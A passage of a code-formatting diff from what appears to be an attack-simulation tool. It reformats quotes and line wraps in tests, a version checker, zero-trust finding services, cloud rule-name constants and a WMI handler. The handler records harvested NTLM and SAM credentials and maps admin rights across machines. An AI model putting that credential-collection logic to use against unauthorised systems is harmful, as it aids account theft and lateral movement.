string to ensure keyword order." + ) elif len(potential_groups) == 0: - raise NoGroupsFoundException("No groups found with provided keywords. " - "Check for typos and make sure group codes want to find exists.") + raise NoGroupsFoundException( + "No groups found with provided keywords. " + "Check for typos and make sure group codes want to find exists." + ) return potential_groups[0] @staticmethod diff --git a/monkey/monkey_island/cc/services/utils/node_states_test.py b/monkey/monkey_island/cc/services/utils/node_states_test.py index 1204cb8816e..98df5455b5f 100644 --- a/monkey/monkey_island/cc/services/utils/node_states_test.py +++ b/monkey/monkey_island/cc/services/utils/node_states_test.py @@ -4,10 +4,17 @@ class TestNodeGroups(TestCase): - def test_get_group_by_keywords(self): - self.assertEqual(NodeStates.get_by_keywords(['island']), NodeStates.ISLAND) - self.assertEqual(NodeStates.get_by_keywords(['running', 'linux', 'monkey']), NodeStates.MONKEY_LINUX_RUNNING) - self.assertEqual(NodeStates.get_by_keywords(['monkey', 'linux', 'running']), NodeStates.MONKEY_LINUX_RUNNING) + self.assertEqual(NodeStates.get_by_keywords(["island"]), NodeStates.ISLAND) + self.assertEqual( + NodeStates.get_by_keywords(["running", "linux", "monkey"]), + NodeStates.MONKEY_LINUX_RUNNING, + ) + self.assertEqual( + NodeStates.get_by_keywords(["monkey", "linux", "running"]), + NodeStates.MONKEY_LINUX_RUNNING, + ) with self.assertRaises(NoGroupsFoundException): - NodeStates.get_by_keywords(['bogus', 'values', 'from', 'long', 'list', 'should', 'fail']) + NodeStates.get_by_keywords( + ["bogus", "values", "from", "long", "list", "should", "fail"] + ) diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py index af47bf93aba..530a7da0ae4 100644 --- a/monkey/monkey_island/cc/services/version_update.py +++ b/monkey/monkey_island/cc/services/version_update.py @@ -12,9 +12,9 @@ class VersionUpdateService: - VERSION_SERVER_URL_PREF = 'https://updates.infectionmonkey.com' - VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + '?deployment=%s&monkey_version=%s' - VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + '&is_download=true' + VERSION_SERVER_URL_PREF = "https://updates.infectionmonkey.com" + VERSION_SERVER_CHECK_NEW_URL = VERSION_SERVER_URL_PREF + "?deployment=%s&monkey_version=%s" + VERSION_SERVER_DOWNLOAD_URL = VERSION_SERVER_CHECK_NEW_URL + "&is_download=true" newer_version = None @@ -31,7 +31,7 @@ def get_newer_version(): try: VersionUpdateService.newer_version = VersionUpdateService._check_new_version() except VersionServerConnectionError: - logger.info('Failed updating version number') + logger.info("Failed updating version number") return VersionUpdateService.newer_version @@ -41,7 +41,10 @@ def _check_new_version(): Checks if newer monkey version is available :return: False if not, version in string format ('1.6.2') otherwise """ - url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % (env_singleton.env.get_deployment(), get_version()) + url = VersionUpdateService.VERSION_SERVER_CHECK_NEW_URL % ( + env_singleton.env.get_deployment(), + get_version(), + ) try: reply = requests.get(url, timeout=7) @@ -49,14 +52,17 @@ def _check_new_version(): logger.info("Can't get latest monkey version, probably no connection to the internet.") raise VersionServerConnectionError - res = reply.json().get('newer_version', None) + res = reply.json().get("newer_version", None) if res is False: return res - [int(x) for x in res.split('.')] # raises value error if version is invalid format + [int(x) for x in res.split(".")] # raises value error if version is invalid format return res @staticmethod def get_download_link(): - return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env_singleton.env.get_deployment(), get_version()) + return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % ( + env_singleton.env.get_deployment(), + get_version(), + ) diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py index 284ae95df93..fe401ce38ad 100644 --- a/monkey/monkey_island/cc/services/wmi_handler.py +++ b/monkey/monkey_island/cc/services/wmi_handler.py @@ -1,11 +1,11 @@ from monkey_island.cc.database import mongo from monkey_island.cc.services.groups_and_users_consts import GROUPTYPE, USERTYPE -__author__ = 'maor.rayzin' +__author__ = "maor.rayzin" class WMIHandler(object): - ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544' + ADMINISTRATORS_GROUP_KNOWN_SID = "1-5-32-544" def __init__(self, monkey_id, wmi_info, user_secrets): @@ -19,11 +19,11 @@ def __init__(self, monkey_id, wmi_info, user_secrets): self.services = "" self.products = "" else: - self.users_info = wmi_info['Win32_UserAccount'] - self.groups_info = wmi_info['Win32_Group'] - self.groups_and_users = wmi_info['Win32_GroupUser'] - self.services = wmi_info['Win32_Service'] - self.products = wmi_info['Win32_Product'] + self.users_info = wmi_info["Win32_UserAccount"] + self.groups_info = wmi_info["Win32_Group"] + self.groups_and_users = wmi_info["Win32_GroupUser"] + self.services = wmi_info["Win32_Service"] + self.products = wmi_info["Win32_Product"] def process_and_handle_wmi_info(self): @@ -37,62 +37,66 @@ def process_and_handle_wmi_info(self): self.update_critical_services() def update_critical_services(self): - critical_names = ("W3svc", "MSExchangeServiceHost", "dns", 'MSSQL$SQLEXPRES') - mongo.db.monkey.update({'_id': self.monkey_id}, {'$set': {'critical_services': []}}) + critical_names = ("W3svc", "MSExchangeServiceHost", "dns", "MSSQL$SQLEXPRES") + mongo.db.monkey.update({"_id": self.monkey_id}, {"$set": {"critical_services": []}}) - services_names_list = [str(i['Name'])[2:-1] for i in self.services] - products_names_list = [str(i['Name'])[2:-2] for i in self.products] + services_names_list = [str(i["Name"])[2:-1] for i in self.services] + products_names_list = [str(i["Name"])[2:-2] for i in self.products] for name in critical_names: if name in services_names_list or name in products_names_list: - mongo.db.monkey.update({'_id': self.monkey_id}, {'$addToSet': {'critical_services': name}}) + mongo.db.monkey.update( + {"_id": self.monkey_id}, {"$addToSet": {"critical_services": name}} + ) def build_entity_document(self, entity_info, monkey_id=None): general_properties_dict = { - 'SID': str(entity_info['SID'])[4:-1], - 'name': str(entity_info['Name'])[2:-1], - 'machine_id': monkey_id, - 'member_of': [], - 'admin_on_machines': [] + "SID": str(entity_info["SID"])[4:-1], + "name": str(entity_info["Name"])[2:-1], + "machine_id": monkey_id, + "member_of": [], + "admin_on_machines": [], } if monkey_id: - general_properties_dict['domain_name'] = None + general_properties_dict["domain_name"] = None else: - general_properties_dict['domain_name'] = str(entity_info['Domain'])[2:-1] + general_properties_dict["domain_name"] = str(entity_info["Domain"])[2:-1] return general_properties_dict def add_users_to_collection(self): for user in self.users_info: - if not user.get('LocalAccount'): + if not user.get("LocalAccount"): base_entity = self.build_entity_document(user) else: base_entity = self.build_entity_document(user, self.monkey_id) - base_entity['NTLM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('ntlm_hash') - base_entity['SAM_secret'] = self.users_secrets.get(base_entity['name'], {}).get('sam') - base_entity['secret_location'] = [] + base_entity["NTLM_secret"] = self.users_secrets.get(base_entity["name"], {}).get( + "ntlm_hash" + ) + base_entity["SAM_secret"] = self.users_secrets.get(base_entity["name"], {}).get("sam") + base_entity["secret_location"] = [] - base_entity['type'] = USERTYPE - self.info_for_mongo[base_entity.get('SID')] = base_entity + base_entity["type"] = USERTYPE + self.info_for_mongo[base_entity.get("SID")] = base_entity def add_groups_to_collection(self): for group in self.groups_info: - if not group.get('LocalAccount'): + if not group.get("LocalAccount"): base_entity = self.build_entity_document(group) else: base_entity = self.build_entity_document(group, self.monkey_id) - base_entity['entities_list'] = [] - base_entity['type'] = GROUPTYPE - self.info_for_mongo[base_entity.get('SID')] = base_entity + base_entity["entities_list"] = [] + base_entity["type"] = GROUPTYPE + self.info_for_mongo[base_entity.get("SID")] = base_entity def create_group_user_connection(self): for group_user_couple in self.groups_and_users: - group_part = group_user_couple['GroupComponent'] - child_part = group_user_couple['PartComponent'] - group_sid = str(group_part['SID'])[4:-1] - groups_entities_list = self.info_for_mongo[group_sid]['entities_list'] - child_sid = '' + group_part = group_user_couple["GroupComponent"] + child_part = group_user_couple["PartComponent"] + group_sid = str(group_part["SID"])[4:-1] + groups_entities_list = self.info_for_mongo[group_sid]["entities_list"] + child_sid = "" if isinstance(child_part, str): child_part = str(child_part) @@ -100,62 +104,79 @@ def create_group_user_connection(self): domain_name = None if "cimv2:Win32_UserAccount" in child_part: # domain user - domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split('",Name="')[1][:-2] + domain_name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( + '",Name="' + )[0] + name = child_part.split('cimv2:Win32_UserAccount.Domain="')[1].split( + '",Name="' + )[1][:-2] if "cimv2:Win32_Group" in child_part: # domain group - domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[0] - name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][:-2] + domain_name = child_part.split('cimv2:Win32_Group.Domain="')[1].split( + '",Name="' + )[0] + name = child_part.split('cimv2:Win32_Group.Domain="')[1].split('",Name="')[1][ + :-2 + ] for entity in self.info_for_mongo: - if self.info_for_mongo[entity]['name'] == name and \ - self.info_for_mongo[entity]['domain'] == domain_name: - child_sid = self.info_for_mongo[entity]['SID'] + if ( + self.info_for_mongo[entity]["name"] == name + and self.info_for_mongo[entity]["domain"] == domain_name + ): + child_sid = self.info_for_mongo[entity]["SID"] else: - child_sid = str(child_part['SID'])[4:-1] + child_sid = str(child_part["SID"])[4:-1] if child_sid and child_sid not in groups_entities_list: groups_entities_list.append(child_sid) if child_sid: if child_sid in self.info_for_mongo: - self.info_for_mongo[child_sid]['member_of'].append(group_sid) + self.info_for_mongo[child_sid]["member_of"].append(group_sid) def insert_info_to_mongo(self): for entity in list(self.info_for_mongo.values()): - if entity['machine_id']: + if entity["machine_id"]: # Handling for local entities. - mongo.db.groupsandusers.update({'SID': entity['SID'], - 'machine_id': entity['machine_id']}, entity, upsert=True) + mongo.db.groupsandusers.update( + {"SID": entity["SID"], "machine_id": entity["machine_id"]}, entity, upsert=True + ) else: # Handlings for domain entities. - if not mongo.db.groupsandusers.find_one({'SID': entity['SID']}): + if not mongo.db.groupsandusers.find_one({"SID": entity["SID"]}): mongo.db.groupsandusers.insert_one(entity) else: # if entity is domain entity, add the monkey id of current machine to secrets_location. # (found on this machine) - if entity.get('NTLM_secret'): - mongo.db.groupsandusers.update_one({'SID': entity['SID'], 'type': USERTYPE}, - {'$addToSet': {'secret_location': self.monkey_id}}) + if entity.get("NTLM_secret"): + mongo.db.groupsandusers.update_one( + {"SID": entity["SID"], "type": USERTYPE}, + {"$addToSet": {"secret_location": self.monkey_id}}, + ) def update_admins_retrospective(self): for profile in self.info_for_mongo: - groups_from_mongo = mongo.db.groupsandusers.find({ - 'SID': {'$in': self.info_for_mongo[profile]['member_of']}}, - {'admin_on_machines': 1}) + groups_from_mongo = mongo.db.groupsandusers.find( + {"SID": {"$in": self.info_for_mongo[profile]["member_of"]}}, + {"admin_on_machines": 1}, + ) for group in groups_from_mongo: - if group['admin_on_machines']: - mongo.db.groupsandusers.update_one({'SID': self.info_for_mongo[profile]['SID']}, - {'$addToSet': {'admin_on_machines': { - '$each': group['admin_on_machines']}}}) + if group["admin_on_machines"]: + mongo.db.groupsandusers.update_one( + {"SID": self.info_for_mongo[profile]["SID"]}, + {"$addToSet": {"admin_on_machines": {"$each": group["admin_on_machines"]}}}, + ) def add_admin(self, group, machine_id): - for sid in group['entities_list']: - mongo.db.groupsandusers.update_one({'SID': sid}, - {'$addToSet': {'admin_on_machines': machine_id}}) - entity_details = mongo.db.groupsandusers.find_one({'SID': sid}, - {'type': USERTYPE, 'entities_list': 1}) - if entity_details.get('type') == GROUPTYPE: + for sid in group["entities_list"]: + mongo.db.groupsandusers.update_one( + {"SID": sid}, {"$addToSet": {"admin_on_machines": machine_id}} + ) + entity_details = mongo.db.groupsandusers.find_one( + {"SID": sid}, {"type": USERTYPE, "entities_list": 1} + ) + if entity_details.get("type") == GROUPTYPE: self.add_admin(entity_details, machine_id) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py index 167934d2926..7870b97bdb1 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_details_service.py @@ -12,26 +12,34 @@ class MonkeyZTDetailsService: - @staticmethod def fetch_details_for_display(finding_id: ObjectId) -> dict: - pipeline = [{'$match': {'_id': finding_id}}, - {'$addFields': {'oldest_events': {'$slice': ['$events', int(MAX_EVENT_FETCH_CNT / 2)]}, - 'latest_events': {'$slice': ['$events', int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, - 'event_count': {'$size': '$events'}}}, - {'$unset': ['events']}] + pipeline = [ + {"$match": {"_id": finding_id}}, + { + "$addFields": { + "oldest_events": {"$slice": ["$events", int(MAX_EVENT_FETCH_CNT / 2)]}, + "latest_events": {"$slice": ["$events", int(-1 * MAX_EVENT_FETCH_CNT / 2)]}, + "event_count": {"$size": "$events"}, + } + }, + {"$unset": ["events"]}, + ] detail_list = list(MonkeyFindingDetails.objects.aggregate(*pipeline)) if detail_list: details = detail_list[0] - details['latest_events'] = MonkeyZTDetailsService._remove_redundant_events(details['event_count'], - details['latest_events']) + details["latest_events"] = MonkeyZTDetailsService._remove_redundant_events( + details["event_count"], details["latest_events"] + ) return details else: raise FindingWithoutDetailsError(f"Finding {finding_id} had no details.") @staticmethod - def _remove_redundant_events(fetched_event_count: int, latest_events: List[object]) -> List[object]: - overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT/2) + def _remove_redundant_events( + fetched_event_count: int, latest_events: List[object] + ) -> List[object]: + overlap_count = fetched_event_count - int(MAX_EVENT_FETCH_CNT / 2) # None of 'latest_events' are in 'oldest_events' if overlap_count >= MAX_EVENT_FETCH_CNT: return latest_events @@ -41,4 +49,4 @@ def _remove_redundant_events(fetched_event_count: int, latest_events: List[objec # Some of 'latest_events' are already in 'oldest_events'. # Return only those that are not else: - return latest_events[-1 * overlap_count:] + return latest_events[-1 * overlap_count :] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py index d8e439c714f..68f09fbe9d2 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/monkey_zt_finding_service.py @@ -9,7 +9,6 @@ class MonkeyZTFindingService: - @staticmethod def create_or_add_to_existing(test: str, status: str, events: List[Event]): """ @@ -20,7 +19,9 @@ def create_or_add_to_existing(test: str, status: str, events: List[Event]): when this function should be used. """ existing_findings = list(MonkeyFinding.objects(test=test, status=status)) - assert (len(existing_findings) < 2), "More than one finding exists for {}:{}".format(test, status) + assert len(existing_findings) < 2, "More than one finding exists for {}:{}".format( + test, status + ) if len(existing_findings) == 0: MonkeyZTFindingService.create_new_finding(test, status, events) @@ -42,13 +43,18 @@ def add_events(finding: MonkeyFinding, events: List[Event]): @staticmethod def get_events_by_finding(finding_id: str) -> List[object]: finding = MonkeyFinding.objects.get(id=finding_id) - pipeline = [{'$match': {'_id': ObjectId(finding.details.id)}}, - {'$unwind': '$events'}, - {'$project': {'events': '$events'}}, - {'$replaceRoot': {'newRoot': '$events'}}] + pipeline = [ + {"$match": {"_id": ObjectId(finding.details.id)}}, + {"$unwind": "$events"}, + {"$project": {"events": "$events"}}, + {"$replaceRoot": {"newRoot": "$events"}}, + ] return list(MonkeyFindingDetails.objects.aggregate(*pipeline)) @staticmethod def add_malicious_activity_to_timeline(events): - MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, events=events) + MonkeyZTFindingService.create_or_add_to_existing( + test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, + events=events, + ) diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py index a53ef70c800..1916857794c 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_details_service.py @@ -1,25 +1,27 @@ from monkey_island.cc.services.zero_trust.monkey_findings import monkey_zt_details_service -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import MonkeyZTDetailsService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_details_service import ( + MonkeyZTDetailsService, +) def test__remove_redundant_events(monkeypatch): - monkeypatch.setattr(monkey_zt_details_service, 'MAX_EVENT_FETCH_CNT', 6) + monkeypatch.setattr(monkey_zt_details_service, "MAX_EVENT_FETCH_CNT", 6) # No events are redundant, 8 events in the database, but we display only 6 (3 latest and 3 oldest) - latest_events = ['6', '7', '8'] - _do_redundant_event_removal_test(latest_events, 8, ['6', '7', '8']) + latest_events = ["6", "7", "8"] + _do_redundant_event_removal_test(latest_events, 8, ["6", "7", "8"]) # All latest events are redundant (only 3 events in db and we fetched them twice) - latest_events = ['1', '2', '3'] + latest_events = ["1", "2", "3"] _do_redundant_event_removal_test(latest_events, 3, []) # Some latest events are redundant (5 events in db and we fetched 3 oldest and 3 latest) - latest_events = ['3', '4', '5'] - _do_redundant_event_removal_test(latest_events, 5, ['4', '5']) + latest_events = ["3", "4", "5"] + _do_redundant_event_removal_test(latest_events, 5, ["4", "5"]) # None of the events are redundant (6 events in db and we fetched 3 oldest and 3 latest) - latest_events = ['4', '5', '6'] - _do_redundant_event_removal_test(latest_events, 6, ['4', '5', '6']) + latest_events = ["4", "5", "6"] + _do_redundant_event_removal_test(latest_events, 6, ["4", "5", "6"]) # No events fetched, should return empty array also latest_events = [] diff --git a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py index 80df717862e..b92a52ae1b3 100644 --- a/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py +++ b/monkey/monkey_island/cc/services/zero_trust/monkey_findings/test_monkey_zt_finding_service.py @@ -6,43 +6,46 @@ from monkey_island.cc.models.zero_trust.event import Event from monkey_island.cc.models.zero_trust.finding import Finding from monkey_island.cc.models.zero_trust.monkey_finding import MonkeyFinding -from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService +from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import ( + MonkeyZTFindingService, +) from monkey_island.cc.test_common.fixtures import FixtureEnum EVENTS = [ Event.create_event( - title='Process list', - message='Monkey on gc-pc-244 scanned the process list', - event_type='monkey_local', - timestamp=datetime.strptime('2021-01-19 12:07:17.802138', '%Y-%m-%d %H:%M:%S.%f') + title="Process list", + message="Monkey on gc-pc-244 scanned the process list", + event_type="monkey_local", + timestamp=datetime.strptime("2021-01-19 12:07:17.802138", "%Y-%m-%d %H:%M:%S.%f"), ), Event.create_event( - title='Communicate as new user', - message='Monkey on gc-pc-244 couldn\'t communicate as new user. ' - 'Details: System error 5 has occurred. Access is denied.', - event_type='monkey_network', - timestamp=datetime.strptime('2021-01-19 12:22:42.246020', '%Y-%m-%d %H:%M:%S.%f') - ) + title="Communicate as new user", + message="Monkey on gc-pc-244 couldn't communicate as new user. " + "Details: System error 5 has occurred. Access is denied.", + event_type="monkey_network", + timestamp=datetime.strptime("2021-01-19 12:22:42.246020", "%Y-%m-%d %H:%M:%S.%f"), + ), ] TESTS = [ zero_trust_consts.TEST_ENDPOINT_SECURITY_EXISTS, - zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER + zero_trust_consts.TEST_COMMUNICATE_AS_NEW_USER, ] STATUS = [ zero_trust_consts.STATUS_PASSED, zero_trust_consts.STATUS_FAILED, - zero_trust_consts.STATUS_VERIFY + zero_trust_consts.STATUS_VERIFY, ] class TestMonkeyZTFindingService: - @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_create_or_add_to_existing_creation(self): # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + ) # Assert that it was properly created findings = list(Finding.objects()) assert len(findings) == 1 @@ -55,17 +58,23 @@ def test_create_or_add_to_existing_creation(self): @pytest.mark.usefixtures(FixtureEnum.USES_DATABASE) def test_create_or_add_to_existing_addition(self): # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[0]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[0], status=STATUS[0], events=[EVENTS[0]] + ) # Assert that there's only one finding assert len(Finding.objects()) == 1 # Add events to an existing finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[0], status=STATUS[0], events=[EVENTS[1]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[0], status=STATUS[0], events=[EVENTS[1]] + ) # Assert there's still only one finding, only events got appended assert len(Finding.objects()) == 1 assert len(Finding.objects()[0].details.fetch().events) == 2 # Create new finding - MonkeyZTFindingService.create_or_add_to_existing(test=TESTS[1], status=STATUS[1], events=[EVENTS[1]]) + MonkeyZTFindingService.create_or_add_to_existing( + test=TESTS[1], status=STATUS[1], events=[EVENTS[1]] + ) # Assert there was a new finding created, because test and status is different assert len(MonkeyFinding.objects()) == 2 diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py index 732852174ef..08d6600a9f1 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py @@ -1,4 +1,4 @@ -RULE_LEVEL_DANGER = 'danger' -RULE_LEVEL_WARNING = 'warning' +RULE_LEVEL_DANGER = "danger" +RULE_LEVEL_WARNING = "warning" RULE_LEVELS = (RULE_LEVEL_DANGER, RULE_LEVEL_WARNING) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py index f8c87083e22..c08c7b6145b 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py @@ -1,7 +1,9 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class CloudformationRules(RuleNameEnum): # Service Security - CLOUDFORMATION_STACK_WITH_ROLE = 'cloudformation-stack-with-role' + CLOUDFORMATION_STACK_WITH_ROLE = "cloudformation-stack-with-role" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py index 88699934162..04d1599dd12 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py @@ -1,11 +1,13 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class CloudTrailRules(RuleNameEnum): # Logging - CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = 'cloudtrail-duplicated-global-services-logging' - CLOUDTRAIL_NO_DATA_LOGGING = 'cloudtrail-no-data-logging' - CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = 'cloudtrail-no-global-services-logging' - CLOUDTRAIL_NO_LOG_FILE_VALIDATION = 'cloudtrail-no-log-file-validation' - CLOUDTRAIL_NO_LOGGING = 'cloudtrail-no-logging' - CLOUDTRAIL_NOT_CONFIGURED = 'cloudtrail-not-configured' + CLOUDTRAIL_DUPLICATED_GLOBAL_SERVICES_LOGGING = "cloudtrail-duplicated-global-services-logging" + CLOUDTRAIL_NO_DATA_LOGGING = "cloudtrail-no-data-logging" + CLOUDTRAIL_NO_GLOBAL_SERVICES_LOGGING = "cloudtrail-no-global-services-logging" + CLOUDTRAIL_NO_LOG_FILE_VALIDATION = "cloudtrail-no-log-file-validation" + CLOUDTRAIL_NO_LOGGING = "cloudtrail-no-logging" + CLOUDTRAIL_NOT_CONFIGURED = "cloudtrail-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py index d22baafc753..954e6fc11a0 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py @@ -1,6 +1,8 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class CloudWatchRules(RuleNameEnum): # Logging - CLOUDWATCH_ALARM_WITHOUT_ACTIONS = 'cloudwatch-alarm-without-actions' + CLOUDWATCH_ALARM_WITHOUT_ACTIONS = "cloudwatch-alarm-without-actions" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py index 5d86b0b3e7a..6487bda997f 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py @@ -1,6 +1,8 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class ConfigRules(RuleNameEnum): # Logging - CONFIG_RECORDER_NOT_CONFIGURED = 'config-recorder-not-configured' + CONFIG_RECORDER_NOT_CONFIGURED = "config-recorder-not-configured" diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py index dddf18b99c4..648fbed6189 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py @@ -1,35 +1,37 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import RuleNameEnum +from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rule_name_enum import ( + RuleNameEnum, +) class EC2Rules(RuleNameEnum): # Permissive firewall rules - SECURITY_GROUP_ALL_PORTS_TO_ALL = 'ec2-security-group-opens-all-ports-to-all' - SECURITY_GROUP_OPENS_TCP_PORT_TO_ALL = 'ec2-security-group-opens-TCP-port-to-all' - SECURITY_GROUP_OPENS_UDP_PORT_TO_ALL = 'ec2-security-group-opens-UDP-port-to-all' - SECURITY_GROUP_OPENS_RDP_PORT_TO_ALL = 'ec2-security-group-opens-RDP-port-to-all' - SECURITY_GROUP_OPENS_SSH_PORT_TO_ALL = 'ec2-security-group-opens-SSH-port-to-all' - SECURITY_GROUP_OPENS_MYSQL_PORT_TO_ALL = 'ec2-security-group-opens-MySQL-port-to-all' - SECURITY_GROUP_OPENS_MSSQL_PORT_TO_ALL = 'ec2-security-group-opens-MsSQL-port-to-all' - SECURITY_GROUP_OPENS_MONGODB_PORT_TO_ALL = 'ec2-security-group-opens-MongoDB-port-to-all' - SECURITY_GROUP_OPENS_ORACLE_DB_PORT_TO_ALL = 'ec2-security-group-opens-Oracle DB-port-to-all' - SECURITY_GROUP_OPENS_POSTGRESQL_PORT_TO_ALL = 'ec2-security-group-opens-PostgreSQL-port-to-all' - SECURITY_GROUP_OPENS_NFS_PORT_TO_ALL = 'ec2-security-group-opens-NFS-port-to-all' - SECURITY_GROUP_OPENS_SMTP_PORT_TO_ALL = 'ec2-security-group-opens-SMTP-port-to-all' - SECURITY_GROUP_OPENS_DNS_PORT_TO_ALL = 'ec2-security-group-opens-DNS-port-to-all' - SECURITY_GROUP_OPENS_ALL_PORTS_TO_SELF = 'ec2-security-group-opens-all-ports-to-self' - SECURITY_GROUP_OPENS_ALL_PORTS = 'ec2-security-group-opens-all-ports' - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_FTP = 'ec2-security-group-opens-plaintext-port-FTP' - SECURITY_GROUP_OPENS_PLAINTEXT_PORT_TELNET = 'ec2-security-group-opens-plaintext-port-Telnet' - SECURITY_GROUP_OPENS_PORT_RANGE = 'ec2-security-group-opens-port-range' - EC2_SECURITY_GROUP_WHITELISTS_AWS = 'ec2-security-group-whitelists-aws' + SECURITY_GROUP_ALL_PORTS_TO_ALL = "ec2-security-group-opens-all-ports-to-all" + 